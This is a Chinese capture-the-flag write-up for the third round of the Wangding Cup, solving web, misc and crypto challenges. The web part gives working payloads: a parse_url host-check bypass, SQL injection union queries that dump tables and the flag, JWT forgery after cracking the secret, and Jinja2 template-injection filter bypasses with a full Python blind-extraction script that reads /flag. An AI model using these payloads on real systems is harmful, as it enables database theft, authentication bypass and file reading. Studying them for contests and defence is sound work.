网鼎杯第三场wp

最近比赛好多啊

https://xz.aliyun.com/t/2648
https://www.o2oxy.cn/1753.html

web

comein

原题 meepwn 的 OmegaSector

但其实做之前不着这是原题 还是得借助google大法

https://ctftime.org/writeup/10429

这题ph师傅的小密圈也有人问了 当时有师傅说他如何搜到这篇文章的

大概是要站在出题人的角度考虑

1
2
3
4
5
6
7
8
9
10
11
12
13
<?
ini_set("display_errors",0);
$uri = $_SERVER['REQUEST_URI'];
if(stripos($uri,".")){
die("Unkonw URI.");
}
if(!parse_url($uri,PHP_URL_HOST)){
$uri = "http://".$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$host = parse_url($uri,PHP_URL_HOST);
if($host === "c7f.zhuque.com"){
setcookie("AuthFlag","flag{*******");
}

print_r( $url );

可以本地测试

$_SERVER[‘REQUEST_URI’] 这是取得当前URL的 路径地址 比如: http://zhidao.baidu.com/question/469321857.html?push=core&group=1
他获得是这个路径
question/469321857.html?push=core&group=1

也就是你burp抓包最上面 GET 后面的东西 这里相当于手动让这个值为你的payload

.在第一位时返回0得到的是false于是便可绕过stripos

@c7f.zhuque.com

1
2
3
php parse_url:
host: 匹配最后一个@后面符合格式的host
http://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/#trick2-libcurl-and-parse-url

里面涉及的php函数知识参考
https://www.cnblogs.com/laowenBlog/p/6527632.html
https://blog.csdn.net/renzhenhuai/article/details/9068075

../回到根目录 因为@c7f.zhuque.com这个目录不存在

这里要//国外的wp上师傅说可能../被过滤 因为//后面可以不加参数感觉不像parse_url的漏洞

skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/

.@c7f.zhuque.com/..//

gold

这题感觉怪怪的

看见了js于是可能会想到通过修改js作弊 js代码进过了压缩混淆,解压得到原始js代码

但修改规则一直加分也拿不到flag

继续看js发现是通过Ajax来发起请求的

又题目提示: 收集1000金币即可过关 。尝试直接将参数 getGod 的值修改为1000,发现会触发检测机制

使用 Burpsuite 抓包,用 Intruder 模块从0跑到1001,在 getGod=1001 的数据包中获得flag

用多线程跑会触发游戏的反作弊机制,用单线程按顺序跑就能出flag

phone

二次注入 和强网杯上的那题很像 也是0x绕过

回显有xx人和你电话相似哦~

猜测sql语句为:
select count(*) from user where phone_number like ‘%{input}%’

aaa’ union select group_concat(table_name) from information_schema.tables where table_schema=database() order by 1 desc#

然后hex编码

order by 1 desc 就是一个排序操作 因为它这里还有个值
https://blog.csdn.net/a757291228/article/details/59094090

desc是降序排

不用这个用一般的 limit 1,1也行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
union select database() limit 1,1#
test人和你电话相似哦~
test
union select group_concat(table_name) from information_schema.tables where table_schema = database() limit 1,1#
有flag,user人和你电话相似哦~
flag,user
union select group_concat(column_name) from information_schema.columns where table_name='flag' limit 1,1#
有f14g人和你电话相似哦~
f14g
union select f14g from flag limit 1,1#
有flag{1e0b6100-e790-46a0-93af-14c507791ad5}人和你电话相似哦~

i_am_admin

考察jwt

飘零师傅的文章之前也写过
http://skysec.top/2018/05/19/Json-Web-Token%E5%8E%86%E9%99%A9%E8%AE%B0/#Json-Web-Token%E7%BB%93%E6%9E%84

查看response包内容,发现登录账号密码是test/test

test test登进去 拿到secret key

抓包可以看到jwt

可以到 https://jwt.io/ 生成 admin 对应的 token 值

也可以安装py3的库手工生成
https://pypi.org/project/PyJWT/1.4.0/

mmmmy

https://qvq.im/post/%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%AC%AC%E4%B8%89%E5%9C%BA%20mmmmy%20writeup

test tset登陆抓包发现也使用了jwt

由于这次没给secret key

使用 c-jwt-cracker 爆破 secret key

然后以管理员身份登进去就可以留言

发现输入的东西都会原原本本地打印在页面上,于是猜测这是一个SSTI

测试后发现过滤了很多东西,比如

1
',",os,_,{{

过滤了

1
{{}}

的写法,那我们可以换成流程控制结构的写法

在jinja2中,存在三种语法:

1
2
3
控制结构 {% %}
变量取值 {{ }}
注释 {# #}

https://www.cnblogs.com/dachenzi/p/8242713.html

1
{%if 表达式%}内容1{%else%}内容2{%endif%}`

比如

1
{%if True %}1{%else%}0{%endif%}

发现回显1

1
2
3
4
5
{%if False %}1{%else%}0{%endif%} 发现回显0
```bash
这样就有一个盲注的环境
```bash
text={% if open('/flag','r').read()[0]=='f' %}1{% else %}0{% endif %}

但是__ 被过滤,我们可以考虑使用 [] 结合 request

1
text={% if request.values.e[18] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[0]%}good{%endif%}&a=__class__&b=__base__&c=__subclasses__&d=/flag&e=}-{0123456789abcdefghijklmnopqrstuvwxyz
1
2
3
4
request.values.a &axxx&b=xxx直接放{% xxx %}后面(前加&)
request.args.a a=xxx&b=xxx放在get参数
request.cookies.a 用cookies传 hctf2017上有道题 https://xz.aliyun.com/t/1589/#toc-17
这种绕过方法莫名熟悉
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests,sys
url = "http://4532bc69bc734acd8416204f0aa04f446e9d38024c5644e8.game.ichunqiu.com/bbs"
cookie = {
"token" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.IXEkNe82X4vypUsNeRFbhbXU4KE4winxIhrPiWpOP30"
}
chars = "}-{0123456789abcdefghijklmnopqrstuvwxyz"
flag = ''
for i in range(0,50):
for j in range(0,len(chars)):
data = {
"text" : "{%% if request.values.e[%d] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[%d]%%}getflag{%%endif%%}" % (j,i),
"a" : "__class__",
"b" : "__base__",
"c" : "__subclasses__",
"d" : "/flag",
"e" : chars
}
r = requests.post(url=url,data=data,cookies=cookie)
if 'getflag' in r.text:
flag += chars[j]
sys.stdout.write("[+] "+ flag + '\r')
sys.stdout.flush()
if chars[j] == '}':
print(flag)
exit()
else:
break
print(len(r.text))

这题大师傅发现可以直接利用 print打印出flag 不用盲注

1
{% print xxx %}

misc

mirror

py脚本两两倒置

dewas

根据题中提示FPS推断WASD键为方向 E为断点 画图得到flag

track_hacker

base64+zlib

zlib的解压zlib.decompress 在第四场中git上也遇到了 但之前太菜了没见过。。

crypro

not_only_base

题目提示base 但等号不在末尾

又不止是base 先栅栏 让后base32

hafuhafu

rsa n可分解 题目hafu其实就提示yafu

密文也是要先解下base64